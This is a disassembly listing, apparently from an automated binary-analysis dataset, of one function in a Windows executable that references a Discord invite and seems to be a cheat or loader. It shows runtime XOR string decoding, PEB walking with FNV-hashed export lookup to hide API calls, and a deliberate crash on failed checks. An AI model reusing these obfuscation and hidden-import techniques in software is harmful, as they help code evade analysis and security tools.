Function at 0x14008b580
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1608]
mov eax, 0x1708
call fcn.1401127c0
sub rsp, rax
movaps xmmword [rsp + 0x16f0], xmm6
movaps xmmword [rsp + 0x16e0], xmm7
movaps xmmword [rsp + 0x16d0], xmm8
movaps xmmword [rsp + 0x16c0], xmm9
movaps xmmword [rsp + 0x16b0], xmm10
movaps xmmword [rsp + 0x16a0], xmm11
movaps xmmword [rsp + 0x1690], xmm12
movaps xmmword [rsp + 0x1680], xmm13
movaps xmmword [rsp + 0x1670], xmm14
movaps xmmword [rsp + 0x1660], xmm15
mov rax, qword [0x14019a900]
xor rax, rsp
mov qword [rbp + 0x1558], rax
mov rbx, r9
mov qword [rbp + 0x460], rbx
mov r14, r8
mov qword [rbp - 8], r8
mov qword [rbp], rdx
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 0x1670]
mov qword [rbp + 0x10], rax
mov r13, qword [rbp + 0x1688]
mov rsi, qword [rbp + 0x16a0]
mov qword [rbp + 0x18], rsi
mov rax, qword [rbp + 0x16a8]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x16b0]
mov qword [rbp + 0x28], rax
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140099845
cmp byte [0x14019b708], 0
jne 0x14008b679
call fcn.140088ee0
mov byte [0x14019b708], 1
xor edx, edx
lea rcx, [0x14019bae8]
call fcn.140025fe0
xor r12d, r12d
mov rdi, 0xffffffffffffffff
mov r15d, dword [reloc.WS2_32.dll_accept]
movdqa xmm9, xmmword [0x140167f50]
movdqa xmm11, xmmword [0x140167eb0]
movdqa xmm7, xmmword [0x140167ea0]
movdqa xmm10, xmmword [0x140125290]
movdqa xmm14, xmmword [0x140167f70]
movdqa xmmword [rbp - 0x50], xmm14
movdqa xmm15, xmmword [str.2222]
movdqa xmm8, xmmword [0x140168090]
movdqa xmm0, xmmword [0x1401200d0]
movups xmmword [rbp - 0x80], xmm0
movdqa xmm12, xmmword [0x1401200c0]
movss xmm13, dword [0x14011ff54]
movss xmm6, dword [0x140167e30]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x1400903ab
mov eax, dword [str.SWQG6]
mov dword [rbp - 0x18], eax
movzx ecx, word [0x140164e68]
mov word [rbp - 0x14], cx
movzx eax, byte [0x140164e6a]
mov byte [rbp - 0x18], Ordinal_79
xor byte [rbp - 0x17], 0x31
xor byte [rbp - 0x16], 0x32
xor byte [rbp - 0x15], 0x33
xor cl, 0x34
mov byte [rbp - 0x14], cl
xor byte [rbp - 0x13], 0x35
xor al, 0x36
mov byte [rbp - 0x12], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp - 0x18]
call fcn.140004f20
mov ecx, 0xff3366cc
call fcn.1400850a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x728], xmm0
lea rdx, [rbp + 0x728]
mov ecx, 3
call fcn.140021d10
movdqa xmm0, xmmword [0x140167e80]
movups xmmword [rbp + 0x738], xmm0
lea rdx, [rbp + 0x738]
mov ecx, 5
call fcn.140021d10
movaps xmm1, xmm13
mov ecx, 6
call fcn.140021e50
lea r14, [0x14019bd28]
cmp byte [0x14019b70b], r12b
je 0x14008d742
mov qword [rbp + 0x30], r12
lea rcx, [rbp + 0x30]
call fcn.140025c50
mov rcx, qword [rbp + 8]
call fcn.140025a50
call fcn.1400198b0
mov rsi, rax
movdqa xmm0, xmmword [0x140167fe0]
movups xmmword [rax + 0x114], xmm0
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rax + 0xd4], xmm0
movss xmm1, dword [0x14011fef4]
movaps xmm0, xmm1
unpcklps xmm0, xmm1
movsd qword [rax + 0x94], xmm0
mov dword [rbp + 0x38], 0x44390000
mov dword [rbp + 0x3c], 0x43e60000
movsd xmm0, qword [0x140164e70]
movsd qword [rbp + 0x498], xmm0
movzx eax, word [0x140164e78]
mov word [rbp + 0x4a0], ax
cmp byte [reloc.WS2_32.dll_gethostname], r12b
je 0x14008b8a2
mov byte [rbp + 0x498], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x499], 0x31
xor byte [rbp + 0x49a], 0x32
xor byte [rbp + 0x49b], 0x33
xor byte [rbp + 0x49c], 0x34
xor byte [rbp + 0x49d], 0x35
xor byte [rbp + 0x49e], 0x36
xor byte [rbp + 0x49f], 0x37
xor byte [rbp + 0x4a0], 0x38
xor byte [rbp + 0x4a1], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x498]
call fcn.140007c60
mov dword [rbp + 0x40], 0x43814000
mov dword [rbp + 0x44], 0x42480000
lea rcx, [rbp + 0x40]
call fcn.140025c50
mov rcx, rbx
call fcn.140025a50
lea rcx, str.discord.gg_aurafn
call fcn.14004e760
movaps xmm0, xmm6
call fcn.140021bf0
mov rbx, qword [rbp + 8]
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0x48], 0x43700000
mov dword [rbp + 0x4c], 0x430c0000
lea rcx, [rbp + 0x48]
call fcn.140025c50
movsd xmm0, qword [0x140164e80]
movsd qword [rbp + 0x5b8], xmm0
mov ecx, dword [0x140164e88]
mov dword [rbp + 0x5c0], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x5c4], al
mov r8d, r12d
cmp r15d, 2
jl 0x14008ba7c
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, dword [0x140164e80]
xorps xmm1, xmm0
movd dword [rbp + 0x5b8], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, dword [rbp + 0x5bc]
xorps xmm1, xmm0
movd dword [rbp + 0x5bc], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, ecx
xorps xmm1, xmm0
movd dword [rbp + 0x5c0], xmm1
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x5b8]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008ba90
lea rcx, [rbp + 0x5b8]
call fcn.14004e760
mov dword [rbp + 0x50], 0x43700000
mov dword [rbp + 0x54], 0x43250000
lea rcx, [rbp + 0x50]
call fcn.140025c50
movsd xmm0, qword [0x140164e90]
movsd qword [rbp + 0x508], xmm0
movzx ecx, word [0x140164e98]
mov word [rbp + 0x510], cx
movzx eax, byte [0x140164e9a]
mov byte [rbp + 0x508], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x509], 0x31
xor byte [rbp + 0x50a], 0x32
xor byte [rbp + 0x50b], 0x33
xor byte [rbp + 0x50c], 0x34
xor byte [rbp + 0x50d], 0x35
xor byte [rbp + 0x50e], 0x36
xor byte [rbp + 0x50f], 0x37
xor cl, 0x38
mov byte [rbp + 0x510], cl
xor byte [rbp + 0x511], 0x39
xor al, 0x3a
mov byte [rbp + 0x512], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x14019a322]
lea rcx, [rbp + 0x508]
call fcn.140046c40
call fcn.140021450
movaps xmm0, xmm6
call fcn.140021bf0
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0x58], 0x43700000
mov dword [rbp + 0x5c], 0x434d0000
lea rcx, [rbp + 0x58]
call fcn.140025c50
movsd xmm0, qword [0x140164ea0]
movsd qword [rbp + 0x5c8], xmm0
mov ecx, dword [0x140164ea8]
mov dword [rbp + 0x5d0], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x5d4], al
mov r8d, r12d
cmp r15d, 2
jl 0x14008bd26
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140164ea0]
xorps xmm1, xmm0
movd dword [rbp + 0x5c8], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5cc]
xorps xmm2, xmm1
movd dword [rbp + 0x5cc], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x5d0], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x5c8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008bd40
lea rcx, [rbp + 0x5c8]
call fcn.14004e760
mov dword [rbp + 0x60], 0x43700000
mov dword [rbp + 0x64], 0x43660000
lea rcx, [rbp + 0x60]
call fcn.140025c50
movsd xmm0, qword [0x140164eb0]
movsd qword [rbp + 0x518], xmm0
movzx ecx, word [0x140164eb8]
mov word [rbp + 0x520], cx
movzx eax, byte [0x140164eba]
mov byte [rbp + 0x518], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x519], 0x31
xor byte [rbp + 0x51a], 0x32
xor byte [rbp + 0x51b], 0x33
xor byte [rbp + 0x51c], 0x34
xor byte [rbp + 0x51d], 0x35
xor byte [rbp + 0x51e], 0x36
xor byte [rbp + 0x51f], 0x37
xor cl, 0x38
mov byte [rbp + 0x520], cl
xor byte [rbp + 0x521], 0x39
xor al, 0x3a
mov byte [rbp + 0x522], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x14019a421]
lea rcx, [rbp + 0x518]
call fcn.140046c40
call fcn.140021450
movdqa xmm0, xmmword [0x140167e80]
movups xmmword [rsi + 0x114], xmm0
mov dword [rbp + 0x68], 0x43700000
mov dword [rbp + 0x6c], 0x43898000
lea rcx, [rbp + 0x68]
call fcn.140025c50
mov rcx, rbx
call fcn.140025a50
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0x70], 0x43820000
mov dword [rbp + 0x74], 0x42200000
movsd xmm0, qword [str.UZZ]
movsd qword [rbp + 0x558], xmm0
mov ecx, dword [0x140164ec8]
mov dword [rbp + 0x560], ecx
cmp byte [0x140164ecb], r12b
je 0x14008c029
mov r8d, r12d
cmp r15d, 2
jl 0x14008bff1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.UZZ]
xorps xmm1, xmm0
movd dword [rbp + 0x558], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x55c]
xorps xmm2, xmm1
movd dword [rbp + 0x55c], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x560], xmm2
jmp 0x14008c029
lea r9, [rbp + 0x558]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008c000
movdqa xmmword [rsp + 0x50], xmm3
movups xmm0, xmmword [0x140167ff0]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a658]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a650]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a648]
xor r8d, r8d
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x558]
call fcn.14003e940
test al, al
je 0x14008ceef
lea rax, [rbp + 0xe80]
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe80], xmm0
mov qword [rbp + 0xe90], r12
mov qword [rbp + 0xe98], r12
mov r8, rdi
lea rax, [0x14019a421]
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x14008c0c0
mov rdx, rax
lea rcx, [rbp + 0xe80]
call fcn.140055880
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xea0], xmm0
mov qword [rbp + 0xeb0], r12
mov qword [rbp + 0xeb8], r12
mov r8, rdi
lea rax, [0x14019a322]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14008c100
mov rdx, rax
lea rcx, [rbp + 0xea0]
call fcn.140055880
nop
lea r8, [rbp + 0xe80]
lea rdx, [rbp + 0xea0]
lea rcx, [0x14019bb10]
call fcn.1400bc7a0
cmp byte [0x14019bd20], 0
jne 0x14008c1eb
movsd xmm0, qword [0x140164ed0]
movsd qword [rbp + 0x528], xmm0
movzx ecx, word [0x140164ed8]
mov word [rbp + 0x530], cx
movzx eax, byte [0x140164eda]
mov byte [rbp + 0x528], 0x41
xor byte [rbp + 0x529], 0x31
xor byte [rbp + 0x52a], 0x32
xor byte [rbp + 0x52b], 0x33
xor byte [rbp + 0x52c], 0x34
xor byte [rbp + 0x52d], 0x35
xor byte [rbp + 0x52e], 0x36
xor byte [rbp + 0x52f], 0x37
xor cl, 0x38
mov byte [rbp + 0x530], cl
xor byte [rbp + 0x531], 0x39
xor al, 0x3a
mov byte [rbp + 0x532], al
mov rdx, r14
cmp qword [0x14019bd40], 0xf
cmova rdx, qword [0x14019bd28]
xor r9d, r9d
lea r8, [rbp + 0x528]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14008ceef
movsd xmm0, qword [0x140164ee0]
movsd qword [rbp + 0x568], xmm0
mov ecx, dword [0x140164ee8]
mov dword [rbp + 0x570], ecx
cmp byte [0x140164eeb], 0
je 0x14008c399
mov r8d, r12d
cmp r15d, 2
jl 0x14008c363
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140164ee0]
xorps xmm1, xmm0
movd dword [rbp + 0x568], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x56c]
xorps xmm2, xmm1
movd dword [rbp + 0x56c], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x570], xmm2
jmp 0x14008c399
lea r9, [rbp + 0x568]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008c370
lea rdx, [rbp + 0x568]
lea rcx, [rbp + 0xec0]
call fcn.140062220
mov r8, rax
lea rdx, [rbp + 0x1538]
lea rcx, [0x14019bb10]
call fcn.1400c22e0
nop
cmp qword [rbp + 0x1548], 2
jbe 0x14008ccc0
mov ecx, dword [0x14019ba60]
call fcn.14006acd0
test al, al
je 0x14008c5ff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c476
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c476
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c471
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c450
cmp r8d, 0xcded1a85
je 0x14008c47b
test r9d, r9d
jne 0x14008c430
mov rax, qword [rax]
jmp 0x14008c400
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c521
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c500
cmp r8d, 0xe80fd3a
je 0x14008c52b
test r9d, r9d
jne 0x14008c4e0
mov rax, qword [rax]
jmp 0x14008c4b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c5d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c5d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c5d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c5b0
cmp r8d, 0xa52bcaf9
je 0x14008c5db
test r9d, r9d
jne 0x14008c590
mov rax, qword [rax]
jmp 0x14008c560
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006a9e0
test al, al
je 0x14008c81f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c696
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c696
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c691
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c670
cmp r8d, 0xcded1a85
je 0x14008c69b
test r9d, r9d
jne 0x14008c650
mov rax, qword [rax]
jmp 0x14008c620
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c746
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c746
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c741
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c720
cmp r8d, 0xe80fd3a
je 0x14008c74b
test r9d, r9d
jne 0x14008c700
mov rax, qword [rax]
jmp 0x14008c6d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c7f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c7f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c7f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c7d0
cmp r8d, 0xa52bcaf9
je 0x14008c7fb
test r9d, r9d
jne 0x14008c7b0
mov rax, qword [rax]
jmp 0x14008c780
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x14019b70f], 0
je 0x14008ca3f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c8b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c8b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c8b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c890
cmp r8d, 0xcded1a85
je 0x14008c8bb
test r9d, r9d
jne 0x14008c870
mov rax, qword [rax]
jmp 0x14008c840
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
